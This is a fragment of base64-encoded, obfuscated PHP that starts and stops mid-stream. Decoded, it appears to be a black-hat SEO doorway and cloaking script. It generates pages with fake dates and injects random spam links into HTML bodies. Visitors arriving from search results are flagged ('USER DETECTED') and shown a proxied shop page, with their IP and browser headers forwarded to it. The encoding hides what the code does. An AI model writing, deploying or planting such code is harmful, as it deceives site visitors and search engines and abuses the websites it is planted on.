lbiBmaWxlIHswfSIsJHRoaXMtPnYyMjQpO2lmKCFmaWxlX2V4aXN0cygkdGhpcy0+djIyNCkpeyR0aGlzLT52MTItPnQxMTkoImZpbGUgbm90IGV4aXN0czogezB9IiwkdGhpcy0+djIyNCk7cmV0dXJuIGZhbHNlO30kdGhpcy0+djIyNj1AZm9wZW4oJHRoaXMtPnYyMjQsJ3JiJyk7aWYoISR0aGlzLT52MjI2KXRocm93IG5ldyBfX19DXzEoIkZhaWxlZCBvcGVuIHBhZ2UgZmlsZSB7MH0iLCR0aGlzLT52MjI0KTtmc2VlaygkdGhpcy0+djIyNixfX19DUkNfTEVOR1RIX19fLDAwKTskdjMxMz1mcmVhZCgkdGhpcy0+djIyNiwwMyk7JHYzNzg9b3JkKCR2MzEzWzAwXSkqcG93KDA0MDAsMDIpK29yZCgkdjMxM1swMV0pKjA0MDArb3JkKCR2MzEzWzAyXSk7JHYzNzk9QGZyZWFkKCR0aGlzLT52MjI2LCR2Mzc4KTskdGhpcy0+djM3Nz1AdW5zZXJpYWxpemUoZ3ppbmZsYXRlKCR2Mzc5KSk7JHRoaXMtPnYzNzY9QGZ0ZWxsKCR0aGlzLT52MjI2KTtpZigkdGhpcy0+djM3Nz09PWZhbHNlKXRocm93IG5ldyBfX19DXzEoIkZhaWxlZCByZWFkIG1ldGEgezB9IiwkdGhpcy0+djIyNCk7cmV0dXJuIHRydWU7fWZ1bmN0aW9uIHQxODAoJHYzODApeyR2ODA9JHRoaXMtPnY5MDtpZighaXNzZXQoJHRoaXMtPnYzNzdbJHY4MF0pKXskdGhpcy0+djEyLT50MTE5KCdkYXRhIG5vdCBleGlzdHMgZm9yIHRoaXMgcGFnZScpO3JldHVybiBmYWxzZTt9JHYyODg9JHRoaXMtPnYzNzdbJHY4MF07aWYoQGZzZWVrKCR0aGlzLT52MjI2LCR0aGlzLT52Mzc2KyR2Mjg4WyR2MzgwXVswMF0sMDApPT0tMDEpdGhyb3cgbmV3IF9fX0NfMSgiQ2Fubm90IHNlZWsgZmlsZSIpOyR2MzgxPUBmcmVhZCgkdGhpcy0+djIyNiwkdjI4OFskdjM4MF1bMDFdKTskdjU0PUB1bnNlcmlhbGl6ZShnemluZmxhdGUoJHYzODEpKTtpZigkdjU0PT09ZmFsc2UpdGhyb3cgbmV3IF9fX0NfMigiQ2Fubm90IHJlYWQgZGF0YSBibG9jayB7MH0iLCR2MzgwKTtyZXR1cm4kdjU0O31mdW5jdGlvbiBfX2Rlc3RydWN0KCl7JHRoaXMtPnQxNTcoKTt9ZnVuY3Rpb24gdDE1Nygpe2lmKCR0aGlzLT52MjI2KXtAZmNsb3NlKCR0aGlzLT52MjI2KTskdGhpcy0+djIyNj1mYWxzZTt9fX1jbGFzcyBfX19DXzI1e3ByaXZhdGUkdjM4Mjtwcml2YXRlJHYzODM7cHJpdmF0ZSR2Mzg0O3ByaXZhdGUkdjEyO2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2Mzg1KXskdGhpcy0+djM4ND0wMiowMzAqMDcwMjA7JHRoaXMtPnYzODI9JHYzODU7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCdjcGFnZS1idWlsZGVyJyk7fWZ1bmN0aW9uIHQyMDgoJHYzODYsJHYzMzMpe3RyeXtpZigkdGhpcy0+djM4Mi0+dDEyNygpKXskdjU0PSR0aGlzLT52MzgyLT50MTIyKHRydWUpO31lbHNleyR0aGlzLT52MTItPnQxMTkoImFjY291bnRpbmcgZmlsZSBub3QgZXhpc3RzLiBpbml0IG5ldyIpOyR2NTQ9YXJyYXkoKTt9JHYzODc9ZmFsc2U7JHYzODg9dGltZSgpOyR2Mzg5PTAwO2lmKGlzc2V0KCR2NTRbJHYzODZdKSl7JHYzOTA9JHY1NFskdjM4Nl07JHYzOTE9JHYzOTBbMDBdO2lmKGNvdW50KCR2MzkwKT4wMyl7JHYzODk9JHYzOTBbMDNdO31lbHNleyR2Mzg5PSR2Mzg4O31pZigoJHYzODgtJHYzOTEpPiR0aGlzLT52Mzg0KXskdGhpcy0+djEyLT50NCgiZmJsb2NrIGNvdW50IGV4cGlyZWQuIHNob3cgbmV3IGZibG9jayIpOyR2MzkyPSR2MzkwWzAxXSswMTskdjM4Nz10cnVlO31lbHNleyR0aGlzLT52MTItPnQ0KCJmYmxvY2sgY291bnQgdXAgdG8gZGF0ZSIpOyR2MzkyPSR2MzkwWzAxXTt9JHYzOTM9JHYzOTBbMDJdO31lbHNleyR0aGlzLT52MTItPnQxMTkoImZpcnN0IGJvdC4gbm8gZnV0dXJlIGJsb2NrcyBzaG93biIpOyR2MzkyPTAwOyR2Mzg3PXRydWU7JHYzOTM9YXJyYXkoKTskdjM4OT0kdjM4ODt9JHYzOTQ9JHRoaXMtPnQyMTEoJHYzMzNbJ2Z1dHVyZSddKTskdGhpcy0+djEyLT50NCgiYnVpbGQgcGFnZSB3aXRoIHswfSBmYmxvY2tzIiwoJHYzOTI+JHYzOTQpPyR2Mzk0OiR2MzkyKTskdjE2OD0kdGhpcy0+dDIxMigkdjMzMywkdjM5MiwkdjM5Myk7aWYoJHYzODcpe2lmKCR2MzkyPD0kdjM5NCl7JHRoaXMtPnYxMi0+dDExOSgic2F2ZSBmYmxvY2sgc3RhdGUiKTskdjU0WyR2Mzg2XT1hcnJheSgkdjM4OCwkdjM5MiwkdjM5MywkdjM4OSk7JHRoaXMtPnYzODItPnQxMjgoJHY1NCk7fWVsc2V7JHRoaXMtPnYxMi0+dDExOSgiYWxsIGJsb2NrIGFyZSB2aXNpYmxlLiBubyBuZWVkIHNhdmUgc3RhdGUiKTt9fSR2MTY4PSR0aGlzLT50MjEzKCR2MTY4LCR2Mzg2KTtpZigkdjM4OT09MDApeyR2Mzk1PTAwO31lbHNleyR2Mzk1PSR2Mzg4LSR2Mzg5O30kdjE2OD0kdGhpcy0+dDIxNCgkdjE2OCwkdjM5NSk7cmV0dXJuJHYxNjg7JHRoaXMtPnYzODItPnQxNTcoKTt9Y2F0Y2goRXhjZXB0aW9uJHYyMyl7JHRoaXMtPnYzODItPnQxNTcoKTt0aHJvdyAkdjIzO319ZnVuY3Rpb24gdDIxNCgmJHYxNjgsJHYzOTYpeyR2Mzk3PWFycmF5KCk7cHJlZ19tYXRjaF9hbGwoJy9cW0lOVU1CRVI9KFxkKylcfChcZCspXHwoXGQrKVxdLycsJHYxNjgsJHYzOTcsMDIpO2ZvcigkdjMwNT0wMDskdjMwNTxjb3VudCgkdjM5Nyk7JHYzMDUrKyl7JHYxOTk9JHYzOTdbJHYzMDVdOyR2Mzk4PSR2MTk5WzAxXTskdjM5OT0kdjE5OVswMl07JHY0MDA9JHYxOTlbMDNdOyR2NDAxPWZsb29yKCR2Mzk2LygkdjQwMCowNzAyMCkpOyR2Nj0kdjM5OCskdjQwMSokdjM5OTskdjE2OD1wcmVnX3JlcGxhY2UoJy9cW0lOVU1CRVI9W15cXV0rXF0vc2knLCR2NiwkdjE2OCwwMSk7fXJldHVybiR2MTY4O31mdW5jdGlvbiB0MjEzKCYkdjE2OCwkdjM4Nil7JHYzOTc9YXJyYXkoKTtwcmVnX21hdGNoX2FsbCgnL1xbUk5VTUJFUj0oW1xkLFwuXSspXHwoW1xkLFwuXSspXHwoW1xkLFwuXSspXHwoW1xkLFwuXSspXF0vJywkdjE2OCwkdjM5NywwMik7Zm9yKCR2MzA1PTAwOyR2MzA1PGNvdW50KCR2Mzk3KTskdjMwNSsrKXskdjE5OT0kdjM5N1skdjMwNV07JHY0MDI9X19fQ180MTo6dDc5KCR2MTk5WzAxXSk7JHY0MDM9X19fQ180MTo6dDc5KCR2MTk5WzAyXSk7JHYzOTk9X19fQ180MTo6dDc5KCR2MTk5WzAzXSk7JHY0MDA9JHYxOTlbMDRdOyR2Mzg4PXRpbWUoKTskdjQwMT1jZWlsKCR2Mzg4LygkdjQwMCowNzAyMCkpOyR2NDA0PWludHZhbChwcmVnX3JlcGxhY2UoJy9bXlxkXS8nLCcnLCR2Mzg2KSkrJHY0MDE7JHY0MDQrPSgkdjQwMSokdjQwMCk7JHY4Mz0kdjQwNDw8MDM7c3JhbmQoJHY4Myk7JHY0MDU9Zmxvb3IoKCR2NDAzLSR2NDAyKS8kdjM5OSk7JHY0MDY9cmFuZCgwMCwkdjQwNSk7JHY0MDc9JHY0MDIrKCR2NDA2KiR2Mzk5KTskdjE2OD1wcmVnX3JlcGxhY2UoJy9cW1JOVU1CRVI9W15cXV0rXF0vc2knLCR2NDA3LCR2MTY4LDAxKTt9X19fQ180MTo6dDc4KCk7cmV0dXJuJHYxNjg7fWZ1bmN0aW9uIHQyMTEoJHYyMzUpeyR2NDAzPTAwO2ZvcmVhY2goJHYyMzUgYXMkdjgwPT4kdjIxOSl7aWYoY291bnQoJHYyMTkpPiR2NDAzKSR2NDAzPWNvdW50KCR2MjE5KTt9cmV0dXJuJHY0MDM7fWZ1bmN0aW9uIHQyMTIoJiR2MzMzLCR2NDA4LCYkdjM5Myl7JHYxNjg9JHYzMzNbJ3RwbCddOyR2NDA5PS0wMTtmb3JlYWNoKCR2MzMzWydmdXR1cmUnXSBhcyR2NDEwPT4kdjQxMSl7JHY1PTAxOyR2NDA5Kys7aWYoIWlzc2V0KCR2MzkzWyR2NDA5XSkpJHYzOTNbJHY0MDldPWFycmF5KCk7JHY0MTI9LTAxO2ZvcmVhY2goJHY0MTEgYXMkdjIzNil7JHY0MTIrKztpZigkdjU8PSR2NDA4KXtwcmVnX21hdGNoX2FsbCgnL1xbREFURVwoKFteKV0rKVwpXF0vc2knLCR2MjM2LCR2Mzk3LDAyKTtmb3IoJHYzMDU9MDA7JHYzMDU8Y291bnQoJHYzOTcpOyR2MzA1KyspeyR2NDEzPSR2Mzk3WyR2MzA1XVswMV07aWYoaXNzZXQoJHYzOTNbJHY0MTJdWyR2MzA1XSkpeyR2NDE0PSR2MzkzWyR2NDEyXVskdjMwNV07fWVsc2V7JHYzODg9dGltZSgpOyR2NDE0PW10X3JhbmQoJHYzODgtJHRoaXMtPnYzODQsJHYzODgtMDUpOyR2MzkzWyR2NDEyXVskdjMwNV09JHY0MTQ7fSR2NDE1PWdtZGF0ZSgkdjQxMywkdjQxNCk7JHYyMzY9cHJlZ19yZXBsYWNlKCcvXFtEQVRFW15cXV0rXF0vc2knLCR2NDE1LCR2MjM2LDAxKTt9JHY0MTY9IjwhLS0gZ3JvdXAgIi4kdjQxMC4iICIuJHY1LiIgLS0+Ii4kdjIzNi4iPCEtLSAvZ3JvdXAgIi4kdjQxMC4iICIuJHY1LiIgLS0+Ijt9ZWxzZSAkdjQxNj0nJzskdjE2OD1zdHJfcmVwbGFjZSgiW0ZVVFVSRS0iLiR2NDEwLiItIi4kdjUuIl0iLCR2NDE2LCR2MTY4KTskdjUrKzt9fXJldHVybiR2MTY4O319Y2xhc3MgX19fQ18yNntwcml2YXRlJHY0MTc7cHJpdmF0ZSR2NDE4O3ByaXZhdGUkdjEyO2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2MzIyLCR2NDE5KXskdGhpcy0+djQxNz0kdjMyMjskdGhpcy0+djQxOD0kdjQxOTskdGhpcy0+djEyPV9fX0NfNjo6dDMoJ2NwbGlua3MnKTt9ZnVuY3Rpb24gdDE5NCgkdjQwMiwkdjQwMyl7JHY1ND0kdGhpcy0+djQxOC0+dDEyMigpOyR2NDIwPWZhbHNlO2lmKGlzc2V0KCR2NTRbJ21ldGEnXSkpeyR2NDIwPSgkdjU0WydtZXRhJ11bJ3V0ZjgnXT09JzEnKTskdjM0OT0kdjU0WydkYXRhJ107fWVsc2V7JHYzNDk9JHY1NDt9JHY0MjE9Y291bnQoJHYzNDkpOyR0aGlzLT52MTItPnQ0KCJ0b3RhbCBsaW5rcyBjb3VudCAnezB9JyIsJHY0MjEpOyR0aGlzLT50MjE1KCk7JHYyMTk9YXJyYXkoKTskdjQyMj1hcnJheSgpOyR2MTkwPXJhbmQoJHY0MDIsJHY0MDMpO2ZvcigkdjU9MDA7JHY1PCR2MTkwOyR2NSsrKXskdjQyMz1yYW5kKDAwLCR2NDIxLTAxKTskdjQyND0kdjM0OVskdjQyM107aWYoJHY0MjApJHY0MjRbMDBdPWJhc2U2NF9kZWNvZGUoJHY0MjRbMDBdKTtpZihyYW5kKDAwLDAyKT09MDEpJHY0MjRbMDBdPSR2NDI0WzAxXTskdjIxOVtdPSR2NDI0OyR2NDIyW109JHY0MjM7fSR0aGlzLT52MTItPnQxMTkoInNlbGVjdGVkIGluZGljaWVzICd7MH0nIixqb2luKCcsICcsJHY0MjIpKTtfX19DXzQxOjp0NzgoKTtyZXR1cm4kdjIxOTt9ZnVuY3Rpb24gdDIxNSgpeyR2OTM9JHRoaXMtPnY0MTctPnQxNigpOyR2OTU9c3RyX3JlcGxhY2UoYXJyYXkoJ2h0dHA6Ly8nLCdodHRwczovLycsJ3d3dy4nLCcvaW5kZXgucGhwJywnLycpLCcnLHN0cnRvbG93ZXIoJHY5MykpOyR2MTAxPWNyYzMyKHN0cnRvbG93ZXIobWQ1KCR2OTUpKS4kdjk1KTskdjgzPSR2MTAxPDwwMjtzcmFuZCgkdjgzKTt9fWNsYXNzIF9fX0NfMzl7cHJpdmF0ZSR2NDI1O2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2NjkpeyR0aGlzLT52NDI1PSR2Njk7fWZ1bmN0aW9uIHQxOTUoJHYzMzYsJHYzNDkpe2lmKCFzdHJpc3RyKCR2MzM2LCc8Ym9keScpKXJldHVybiBmYWxzZTskdjQyNj0kdGhpcy0+dDIxNigkdjM0OSk7JHYzMzY9cHJlZ19yZXBsYWNlKCcvPChib2R5W14+XSopPi9zaScsIjwkMT5cbiIuJHY0MjYsJHYzMzYpO3JldHVybiR2MzM2O31mdW5jdGlvbiB0MTk2KCR2MzM2LCR2MzQ5KXtpZighc3RyaXN0cigkdjMzNiwnPC9ib2R5JykpcmV0dXJuIGZhbHNlOyR2NDI2PSR0aGlzLT50MjE2KCR2MzQ5KTskdjMzNj1wcmVnX3JlcGxhY2UoJyU8Lyhib2R5W14+XSopPiVzaScsJHY0MjYuIlxuPC8kMT4iLCR2MzM2KTtyZXR1cm4kdjMzNjt9ZnVuY3Rpb24gdDE5NygkdjMzNiwkdjM0OSwkdjQyNz0wMCl7JHY0Mjg9YXJyYXkoKTtwcmVnX21hdGNoX2FsbCgnJTxhW14+XStocmVmW14+XSs+Lis/PC9hPiVzaScsJHYzMzYsJHY0MjgsMDEpO2lmKGNvdW50KCR2NDI4WzAwXSk9PTAwKXJldHVybiBmYWxzZTtmb3IoJHY1PSR2NDI3OyR2NTxjb3VudCgkdjQyOFswMF0pOyR2NSsrKXskdjE5OT0kdjQyOFswMF1bJHY1XTskdjQyND1hcnJheV9zaGlmdCgkdjM0OSk7JHY0MTY9JHRoaXMtPnQyMTcoJHY0MjQpOyR2MzM2PXN0cl9yZXBsYWNlKCR2MTk5LCR2NDE2LCR2MzM2KTtpZihjb3VudCgkdjM0OSk9PTAwKWJyZWFrO31yZXR1cm4kdjMzNjt9ZnVuY3Rpb24gdDE5OCgkdjMzNiwkdjM0OSl7JHY0Mjg9YXJyYXkoKTtwcmVnX21hdGNoX2FsbCgnJTxhW14+XStocmVmW14+XSs+Lis/PC9hPiVzaScsJHYzMzYsJHY0MjgsMDEpO2lmKGNvdW50KCR2NDI4WzAwXSk9PTAwKXJldHVybiBmYWxzZTtmb3IoJHY1PWNvdW50KCR2NDI4WzAwXSktMDE7JHY1Pj0wMDskdjUtLSl7JHYxOTk9JHY0MjhbMDBdWyR2NV07JHY0MjQ9YXJyYXlfc2hpZnQoJHYzNDkpOyR2NDE2PSR0aGlzLT50MjE3KCR2NDI0KTskdjMzNj1zdHJfcmVwbGFjZSgkdjE5OSwkdjQxNiwkdjMzNik7aWYoY291bnQoJHYzNDkpPT0wMClicmVhazt9cmV0dXJuJHYzMzY7fWZ1bmN0aW9uIHQyMDAoJHYzMzYsJHYzNDkpeyR2NDI2PSR0aGlzLT50MjE2KCR2MzQ5KTtyZXR1cm4kdjMzNi4iXG4iLiR2NDI2O31mdW5jdGlvbiB0MTk5KCR2MzM2LCR2MzQ5LCR2NDI5KXtpZihzdHJwb3MoJHYzMzYsJzwvcD4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskdjQyNj0kdGhpcy0+dDIxNigkdjM0OSk7JHY0MzA9bmV3IF9fX0NfNDYoJHYzMzYpOyR2NDMxPSR2NDMwLT50MjE4KCR2NDI5KTtpZihlbXB0eSgkdjQzMSkpcmV0dXJuIGZhbHNlOyR2NDMyPXByZWdfc3BsaXQoJyUoPC8/cD4pJXNpJywkdjQzMSwtMDEsMDIpOyR2NDMyWzAwXT0kdjQzMlswMF0uIlxuIi4kdjQyNjskdjQzMT1qb2luKCcnLCR2NDMyKTskdjQzMC0+dDIxOSgkdjQyOSwkdjQzMSk7cmV0dXJuJHY0MzAtPnQyMjAoKTt9cHJpdmF0ZSBmdW5jdGlvbiB0MjE2KCR2MzQ5KXskdjQzMz1hcnJheSgpO2ZvcmVhY2goJHYzNDkgYXMkdjQyNCl7JHY0MzQ9JHRoaXMtPnQyMTcoJHY0MjQpOyR2NDMzW109JHY0MzQ7fSR2NDI2PXN0cl9yZXBsYWNlKCd7ZGF0YX0nLGpvaW4oJHRoaXMtPnY0MjVbJ3NlcGFyYXRvciddLCR2NDMzKSwkdGhpcy0+djQyNVsnY29udGFpbmVyJ10pO3JldHVybiR2NDI2O31wcml2YXRlIGZ1bmN0aW9uIHQyMTcoJHY0MjQpeyR2NDM0PXN0cl9yZXBsYWNlKCd7dXJsfScsJHY0MjRbJ3VybCddLCR0aGlzLT52NDI1WydpdGVtJ10pOyR2NDM0PXN0cl9yZXBsYWNlKCd7YW5jaG9yfScsaHRtbHNwZWNpYWxjaGFycygkdjQyNFsndGV4dCddKSwkdjQzNCk7cmV0dXJuJHY0MzQ7fX1jbGFzcyBfX19DXzQ2e3ByaXZhdGUkdjQzNTtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjMzNil7JHRoaXMtPnY0MzU9cHJlZ19zcGxpdCgnJTxwPiVzaScsJHYzMzYpO31mdW5jdGlvbiB0MjE4KCR2NDI5KXskdjQzNj0kdGhpcy0+dDIyMSgkdjQyOSk7aWYoJHY0MzY9PTAwKXJldHVybicnO3JldHVybiR0aGlzLT52NDM1WyR2NDM2XTt9ZnVuY3Rpb24gdDIxOSgkdjQyOSwkdjU0KXskdjQzNj0kdGhpcy0+dDIyMSgkdjQyOSk7JHRoaXMtPnY0MzVbJHY0MzZdPSR2NTQ7fWZ1bmN0aW9uIHQyMjEoJHY0Mjkpe2lmKCR2NDI5PjAwKXtyZXR1cm4oJHY0Mjk8Y291bnQoJHRoaXMtPnY0MzUpKT8kdjQyOTowMDt9cmV0dXJuIGNvdW50KCR0aGlzLT52NDM1KSskdjQyOTt9ZnVuY3Rpb24gdDIyMCgpe3JldHVybiBqb2luKCc8cD4nLCR0aGlzLT52NDM1KTt9fWNsYXNzIF9fX0NfNDB7cHJpdmF0ZSR2MzIxO3ByaXZhdGUkdjI3MDtwcml2YXRlJHYxMjtwcml2YXRlJHY0Mzc7cHJpdmF0ZSR2NDM4O2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2MjAxLCR2MjcyLCR2NzAsJHY3Mil7JHRoaXMtPnYzMjE9JHYyMDE7JHRoaXMtPnYyNzA9JHYyNzI7JHRoaXMtPnY0Mzc9JHY3MDskdGhpcy0+djQzOD0kdjcyOyR0aGlzLT52MTI9X19fQ182Ojp0MygndXNlcmRldGVjdCcpO31mdW5jdGlvbiB0MjAxKCR2MzIyKXskdjIwMz0kdGhpcy0+djMyMS0+dDE0NSgkdjMyMik7aWYoJHYyMDM9PWZhbHNlKXskdGhpcy0+djEyLT50NCgnbWV0YSBmb3IgcGFnZSBub3QgZm91bmQnKTtyZXR1cm4gZmFsc2U7fSR2NDM5PSR2MjAzWydrZXknXTskdjQ0MD1hcnJheSgncXVlcnknPT4kdjQzOSwndXNlcl90eXBlJz0+J2R1bW15Jyk7aWYoJHYyMDNbJ2lzZ2VuJ109PTAxKXskdGhpcy0+djEyLT50MTUyKCJ1cmwgaXMgcGhhbnRvbS4gVVNFUiBERVRFQ1RFRCIpO3JldHVybiR2NDQwO31lbHNlICR0aGlzLT52MTItPnQxMTkoInVybCBub3QgcGhhbnRvbSIpO2lmKCR0aGlzLT52MjcwLT50MTQyKCR0aGlzLT52NDM3KSl7JHRoaXMtPnYxMi0+dDExOSgidXNlciBmcm9tIHNlcnAiKTtpZihpc3NldCgkdjIwM1snZ2VudGltZSddKSl7JHY0NDE9Z21kYXRlKCdVJyk7JHY0NDI9JHY0NDEtJHYyMDNbJ2dlbnRpbWUnXTtpZigkdjQ0Mj4kdGhpcy0+djQzOCl7JHRoaXMtPnYxMi0+dDE1MigiaXRzIHRpbWUgdG8gc2hvdy4gVVNFUiBERVRFQ1RFRCIpO3JldHVybiR2NDQwO31lbHNleyR0aGlzLT52MTItPnQxNTIoInRvbyBlYXJseS4gezB9IGhvdXJzIGxlZnQiLHJvdW5kKCgoJHRoaXMtPnY0MzgtJHY0NDIpLzA3MDIwKSwwMikpO319ZWxzZXskdGhpcy0+djEyLT50MTUyKCJnZW50aW1lIG5vdCBwcmVzZW50LCBvbGQgZG9yLiBVU0VSIERFVEVDVEVEIik7cmV0dXJuJHY0NDA7fX1lbHNleyR0aGlzLT52MTItPnQxMTkoInVzZXIgbm90IGZyb20gc2VycCIpO31yZXR1cm4gZmFsc2U7fX1jbGFzcyBfX19DXzMwe3ByaXZhdGUkdjQ0Mztwcml2YXRlJHY0NDQ7cHJpdmF0ZSR2MjY5O3ByaXZhdGUkdjEyO3ByaXZhdGUkdjE5NDtwcml2YXRlJHY0NDU7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHY2OCwkdjEyOCwkdjIxLCR2NDQ2KXskdGhpcy0+djQ0ND0kdjY4OyR0aGlzLT52MTk0PSR2MjE7JHRoaXMtPnY0NDU9JHY0NDY7JHRoaXMtPnYyNjk9JHYxMjg7JHYyNzQ9JHRoaXMtPnQxNzEoKTskdjEyOC0+dDE2MCgkdjI3NCk7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCdzaG9wLXByb3ZpZGVyJyk7fWZ1bmN0aW9uIHQyMjIoJHY0NDcpeyR2NDQ3PXRyaW0oJHY0NDcpO2lmKGVtcHR5KCR2NDQ3KSlyZXR1cm47JHYxOTU9c3RyX3JlcGxhY2UoJ3d3dy4nLCcnLHN0cnRvbG93ZXIoJHRoaXMtPnYxOTQtPnQ2MCgpKSk7JHY0NDc9c3RyX3JlcGxhY2UoJ3tob3N0fScsJHYxOTUsJHY0NDcpOyR0aGlzLT52NDQzPSR2NDQ3OyR0aGlzLT52MTItPnQ0KCJjdXN0b20gcGFyYW0gc2V0dXAgJ3swfSciLCR2NDQ3KTt9ZnVuY3Rpb24gdDIwNSgkdjkzLCR2MzYzLCR2MTcpe2lmKGlzc2V0KCR2MTdbJ3Nob3AudXJscGFyYW0nXSkpeyR0aGlzLT50MjIyKCR2MTdbJ3Nob3AudXJscGFyYW0nXSk7fSR0aGlzLT52MTItPnQ0KCdsb2FkIHNob3A6IHswfScsJHY5Myk7aWYoJHYzNjMpeyR2NDQ4PSR2OTMuJyMnLiR0aGlzLT52NDQzO2lmKGlzc2V0KCR2MTdbJ3Nob3AuY2FjaGUuZXh0a2V5J10pKSR2NDQ4Lj0nIycuJHYxN1snc2hvcC5jYWNoZS5leHRrZXknXTskdGhpcy0+djEyLT50MTE5KCd0cnkgbG9hZCBzaG9wIGZyb20gY2FjaGUuIGtleTogJy4kdjQ0OCk7JHYzNDM9JHRoaXMtPnY0NDQtPnQxNTUoJHY0NDgpO2lmKCR2MzQzIT09ZmFsc2UpeyR0aGlzLT52MTItPnQ0KCdzaG9wIGxvYWRlZCBmcm9tIGNhY2hlJyk7cmV0dXJuJHYzNDM7fSR0aGlzLT52MTItPnQ0KCdzaG9wIG5vdCBmb3VuZCBpbiBjYWNoZS4gbG9hZCB1cmw6IHswfScsJHY5Myk7JHYzNDM9JHRoaXMtPnQyMjMoJHY5Myk7JHRoaXMtPnY0NDQtPnQxMTYoJHY0NDgsJHYzNDMpO31lbHNleyR0aGlzLT52MTItPnQ0KCdsb2FkIHVybDogezB9JywkdjkzKTskdjM0Mz0kdGhpcy0+dDIyMygkdjkzKTt9cmV0dXJuJHYzNDM7fWZ1bmN0aW9uIHQxMTcoKXskdGhpcy0+djQ0NC0+dDExNygpO31mdW5jdGlvbiB0MjIzKCR2OTMpeyR2Mjc4PSR0aGlzLT52NDQ1LT50MTQxKCR2OTMpOyR2MzQzPSR0aGlzLT52MjY5LT50MTIwKCR2Mjc4KTtpZihzdHJwb3Moc3RydG9sb3dlcigkdjM0MyksJzwvaHRtbCcpPT09ZmFsc2UpdGhyb3cgbmV3IF9fX0NfMigic2hvcCBodG1sIHRhZyBub3QgZm91bmQiKTtpZighZW1wdHkoJHRoaXMtPnY0NDMpKXskdjM0Mz1wcmVnX3JlcGxhY2VfY2FsbGJhY2soJy88YShbXj5dKylocmVmXHMqPVxzKlsiXCddKFtePiJcJ10rKVtcJyJdKFtePl0qKT8+L3NpbScsYXJyYXkoJHRoaXMsJ19zZXRDdXN0b21QYXJhbWV0ZXInKSwkdjM0Myk7fSR2NzM9cGFyc2VfdXJsKCR2OTMpO2lmKHByZWdfbWF0Y2goJy88YmFzZVtePl0raHJlZlxzKj1ccypbIlwnXShbXiJcJ10rKVsiXCddLycsJHYzNDMsJHYxOTIpKXskdjQ0OT0kdjE5MlswMV07aWYoc3RycG9zKCR2NDQ5LCcvLycpIT09ZmFsc2UpeyR2NDUwPSR2NDQ5O31lbHNlIGlmKCR2NDQ5WzAwXT09Jy8nKXskdjQ1MD0iLy8iLiR2NzNbJ2hvc3QnXS4kdjQ0OTt9ZWxzZXskdjQ1MD1zdHJfcmVwbGFjZShhcnJheSgnaHR0cDovLycsJ2h0dHBzOi8vJyksJy8vJywkdjQ0OSk7fSR2NDUxPSI8YmFzZSBocmVmPSciLiR2NDUwLiInPiI7JHYzNDM9cHJlZ19yZXBsYWNlKCcvPGJhc2VbXj5dKz4vJywkdjQ1MSwkdjM0Myk7fWVsc2V7JHY0NTA9Ii8vIi4kdjczWydob3N0J10uJy8nOyR2NDUxPSI8YmFzZSBocmVmPSciLiR2NDUwLiInPiI7aWYoQHByZWdfbWF0Y2goJy88aGVhZC4qPz4vaScsJHYzNDMpKSR2MzQzPUBwcmVnX3JlcGxhY2UoJy8oPGhlYWQuKj8+KS9pJywiJDEiLiR2NDUxLCR2MzQzLDAxKTtlbHNlIGlmKEBwcmVnX21hdGNoKCcvPFwvaGVhZD4vaScsJHYzNDMpKSR2MzQzPXN0cl9yZXBsYWNlKCc8L2hlYWQ+JywkdjQ1MS4iXG4iLic8L2hlYWQ+JywkdjM0Myk7ZWxzZSAkdjM0Mz0kdjQ1MS4kdjM0Mzt9cmV0dXJuJHYzNDM7fWZ1bmN0aW9uIF9zZXRDdXN0b21QYXJhbWV0ZXIoJHYzOTcpeyR2OTM9JHYzOTdbMDJdOyR2NDUyPScnO2lmKHN0cnBvcygkdjkzLCcjJykhPT1mYWxzZSl7bGlzdCgkdjkzLCR2NDUyKT1leHBsb2RlKCcjJywkdjkzKTt9aWYoc3RycG9zKCR2OTMsJz8nKSE9PWZhbHNlKXskdjkzLj0nJicuJHRoaXMtPnY0NDM7fWVsc2V7JHY5My49Jz8nLiR0aGlzLT52NDQzO31pZighZW1wdHkoJHY0NTIpKSR2OTMuPScjJy4kdjQ1MjskdjQ1Mz0iPGEiLiR2Mzk3WzAxXS4iaHJlZj1cIiIuJHY5My4iXCIiLiR2Mzk3WzAzXS4iPiI7cmV0dXJuJHY0NTM7fWZ1bmN0aW9uIHQxNzEoKXskdjI0NT1hcnJheSgnUmVmZXJlcic9PiR0aGlzLT52MTk0LT50NDgoKSwnWC1SZWFsLUNsaWVudElwJz0+JHRoaXMtPnYxOTQtPnQxNygpLCdDb29raWUnPT4nWC1SZWFsLUNsaWVudElwPScuJHRoaXMtPnYxOTQtPnQxNygpKTskdjI3ND1hcnJheSgnSFRUUF9VU0VSX0FHRU5UJz0+J1VzZXItQWdlbnQnLCdIVFRQX1hfRk9SV0FSREVEX0ZPUic9PidYLUZvcndhcmRlZC1Gb3InLCdIVFRQX1ZJQSc9PidWaWEnLCdIVFRQX0NMSUVOVF9JUCc9PidDbGllbnQtSVAnLCdIVFRQX0FDQ0VQVF9MQU5HVUFHRSc9PidBY2NlcHQtTGFuZ3VhZ2UnKTtmb3JlYWNoKCR2Mjc0IGFzJHYyNzk9PiR2MjgwKXtpZihpc3NldCgkX1NFUlZFUlskdjI3OV0pKSR2MjQ1WyR2MjgwXT0kX1NFUlZFUlskdjI3OV07fXJldHVybiR2MjQ1O319Y2xhc3MgX19fQ18yOXtwcml2YXRlJHY0NTQ7cHJpdmF0ZSR2NDU1O3ByaXZhdGUkdjQ1Njtwcml2YXRlJHY0NTc7cHJpdmF0ZSR2NDU4PTAzO3ByaXZhdGUkdjQ1OTtwcml2YXRlJHYxMjtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjYwLCR2NDYwPTAxMTAsJHYzOD10cnVlKXskdjYwPXJ0cmltKCR2NjAsIlxcLyIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7JHRoaXMtPnY0NTY9JHY2MDskdGhpcy0+djQ1Nz0kdjQ2MDskdGhpcy0+djQ1OT0kdjM4O2lmKCFpc19kaXIoJHRoaXMtPnY0NTYpfHwhaXNfd3JpdGFibGUoJHRoaXMtPnY0NTYpKXRocm93IG5ldyBfX19DXzEoIkNhY2hlIGR